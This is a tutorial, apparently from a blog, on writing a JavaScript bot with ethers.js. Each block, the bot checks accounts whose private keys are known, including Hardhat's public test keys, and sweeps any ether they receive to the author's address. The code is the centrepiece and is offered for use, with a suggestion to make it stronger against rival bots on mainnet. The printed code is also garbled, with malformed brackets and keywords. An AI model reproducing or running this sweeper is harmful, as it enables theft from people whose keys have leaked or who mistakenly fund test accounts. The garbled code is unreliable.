Bots abound on Ethereum, and these bots are merciless in their pursuit of any available opportunity. There are various varieties of bots, the most well-known of which are front-running bots.
For this quick tutorial, we’ll create a bot that withdraws funds from an account whenever it receives ether. It is critical to realise that once a private key has been compromised, the account will be botted.
On a high level, bots are looking for a private key all over the place! Consider your funds lost and your account permanently compromised if you accidentally post your private key to GitHub or any other website.
Let’s take a look at how this works in practice.
We’ll utilise 20 well-known accounts from hardhat for this example (Hardhat is an amazing Ethereum developer environment). Hardhat provides you with 20 deterministic accounts for testing purposes, although users have been known to transmit real ether to such accounts. As I previously stated, hungry bots are waiting for that ether in order to transfer it to their human owner.
We’ll do it on Rinkeby in our case to avoid competing with the bots, but the point remains the same.
The workflow will be as follows:
- Get the private keys
- Create the bot
- See the bot in action!
Getting the private keys
In order to get the private keys, just run npx hardhat node
on a hardhat project, here is the output:

The accounts will be the same for everyone who uses hardhat (hence they are deterministic). When we look at the transaction history for account 0 on mainnet, we can see that there have been several transactions, but they have all been withdrawn by a hunting bot.
Let’s get started creating the bot now that we have the private keys.
Creating A Bot
We only require ethers.js as a dependency to make the bot, and we’ll run the script on a simple JavaScript file.
mkdir bot
cd bot
npm init
npm i ethers
touch bot.js
Inside of bot.js, add the following starting code:

Simply enter a URL from infura, alchemy, or any other source and the address in addressReceiver to receive the ether from the bot.
Let’s get started on the real bot now that we have stuff available. Just below the privateKeys array, add the following code:
const bot = async () => { provider.on("block", async () => console.log("Listening new block, waiting :)"): for (let i = 0; i < privateKeys.length; i++) { const _target = new ethers.Wallet(privateKeys(i]); const target = _target.connect(provider); cost balance = await provider.getBalance(target.address); const txBuffer = ethers.utils.parseEther(".005"); if (balance.sub(txBuffer) > 0)( console.log("NEW ACCOUNT WITH ETH!"); const amount = balance.sub(txBuffer): try { await target.sendTransaction({ to: addressReceiver, value: amount 7): console.log(" Success! transfered -->$(ethers.utils.formatEther(balance)}"); } catch (e) { console.log("error: $(e)"); } } } }); } bot()
We are just listening every time a new block is created, iterating through all 20 accounts, and transferring cash to the address receiver if there is an account with ether. The txBuffer is nothing more than a transaction gas buffer.
Seeing the bot in action!
Once we have that ready, run the bot:
node bot
Something along these lines should be seen:

If any of the 20 accounts receive ether, our bot will automatically hunt it down and send it to the recipient’s address. Keep in mind that if you’re going up against other bots, you’ll need to make it a lot better (this was just a quick example).
Okay. I will transfer 0.1 ether to the account:
0x70997970c51812dc3a010c7d01b50e0d17dc79c8

The bot will “listen” for eth and perform the transfer as soon as I send it.
When you send ether, the bot should notify you that it has received it:

Final Words
There is no room for error on Ethereum. This is due to the fact that many bots are searching for a profit margin. To put it another way, your profit margin is your profit.
On the other hand, you can make beautiful bots for good causes.
For example, if you improve the bot we just made and listen to the hardhat accounts, send it back to the owner with a note in the transaction metadata:)